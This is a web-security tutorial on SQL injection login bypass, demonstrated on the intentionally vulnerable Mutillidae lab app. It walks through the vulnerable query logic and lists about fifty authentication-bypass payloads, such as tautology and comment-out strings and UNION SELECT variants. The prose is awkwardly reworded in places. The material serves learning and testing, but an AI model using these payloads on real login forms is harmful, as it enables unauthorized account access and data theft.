Discovering SQL injections in the POST field
SQL Injection is a sort of infusion assault that makes it conceivable to execute malicious SQL statements. These statements control a database server behind a web application. Assailants can utilize SQL Injection vulnerabilities to sidestep application safety efforts. They can circumvent authentication and authorization of a page or web application and recover the content of the whole SQL database. They can likewise utilize SQL Injection to include, change, and erase records in the database.
SQL Injection vulnerability may influence any site or web application that uses the SQL database, for example, MySQL, Oracle, SQL Server, or others. Offenders may utilize it to increase unapproved access to your sensitive information, client data, trade secrets, licensed innovation, and that’s only the tip of the iceberg. SQL Injection assaults are one of the most seasoned, most pervasive, and most dangerous web application vulnerabilities.
Since this topic is so vast, we will not be able to mention all the nitty-gritty stuff of SQL injection but will explain some of them starting with the basics. For this purpose, we will use metasploitable’s Mutillidae web application, which is vulnerable to SQL Injection attacks for demonstration purposes only.
Select the “Mutillidae” link and go to the “Login/Register” tab and register to create an account.
Provide necessary information and click on the “Create Account” button.
Now let’s use some SQL injection techniques to bypass the login page. Login bypass is, undoubtedly, one of the most popular SQL injection techniques. This tutorial presents different ways an attacker can use to defeat a login form.
Discovering SQL injections in the POST field
The login structure we will use in our examples is straightforward. It contains two input fields (username and password), which are both vulnerable. The back-end content creates a query to approve the username and secret key given by the client. Here is an outline of the page rationale:
($query = “SELECT * FROM users WHERE username=’$_POST[username]’ AND password=’$_POST[password]’“;).
To sidestep login and access restricted areas, the attacker needs to build an SQL section that will change the “WHERE” clause and make it true. For instance, the accompanying login data would give access to the aggressor by abusing the weakness present in the password parameter. For the username put “john.doe” or “anything” and for the password put (anything’ or ‘1’=’1) or (admin’ or ‘1’=’1) then try to log in, and you’ll be presented with an admin login page.
Let’s take a look at the generated query for a moment: (SELECT * FROM users WHERE username=’john.doe’ AND password=’anything’ OR ‘1’=’1′). Due to operator priority, the “AND” condition is assessed first.
Then the “OR” operator is evaluated, making the “WHERE” statement true. The condition will be valid for all lines of the “users” table. It implies that the given username is disregarded, and the aggressor will be signed in as the primary user in the “users” table. It additionally means that the aggressor does not need to know a username to access the framework; the query will discover one for him!
In these straightforward examples, we have seen that an aggressor can sidestep an authentication system with SQL infusion. Without limiting the disastrous consequences this might have, it is essential to mention that a SQL injection can have a much more significant security impact than a login bypass. Below is a list of commands created by OWASP board member Dr. Emin Islam Tatlilf that can be used in the SQL injection authentication bypass.
or 1=1
or 1=1–
or 1=1#
or 1=1/*
admin’–
admin’ #
admin’/*
admin’ or ‘1’=’1
admin’ or ‘1’=’1′–
admin’ or ‘1’=’1’#
admin’ or ‘1’=’1’/*
admin’or 1=1 or ‘’=’
admin’ or 1=1
admin’ or 1=1–
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=’1
admin’) or (‘1’=’1′–
admin’) or (‘1’=’1’#
admin’) or (‘1’=’1’/*
admin’) or ‘1’=’1
admin’) or ‘1’=’1′–
admin’) or ‘1’=’1’#
admin’) or ‘1’=’1’/*
1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ‘81dc9bdb52d04dc20036dbd8313ed055
admin”–
admin” #
admin”/*
admin” or “1”=“1
admin” or “1”=“1”–
admin” or “1”=“1”#
admin” or “1”=“1”/*
admin” or 1=1 or ““=“
admin” or 1=1
admin” or 1=1–
admin” or 1=1#
admin” or 1=1/*
admin”) or (“1”=“1
admin”) or (“1”=“1”–
admin”) or (“1”=“1”#
admin”) or (“1”=“1”/*
admin”) or “1”=“1
admin”) or “1”=“1”–
admin”) or “1”=“1”#
admin”) or “1”=“1”/*
1234 “ AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055
Bypassing login field
In this example, we’ll target only the username field and try to get access. The username field is vulnerable as well, and it can likewise be misused to access the framework. It would be less demanding and progressively commonsense for the attacker to bypass authentication since he could pick which user’s record he might want to sign into.
Here is what the SQL injection assault will look like. Put (admin’ #) or (admin’- -) in the username field and hit “Enter” to log in. We use “#” or “- -” to comment everything in the query sentence that comes after the username filed telling the database to disregard the password field: (SELECT * FROM users WHERE username=’admin’ # AND password=’ ‘). By using line commenting, the aggressor eliminates a part of the login condition and gains access. This technique will make the “WHERE” clause true only for one user; in this case, it is “admin.”
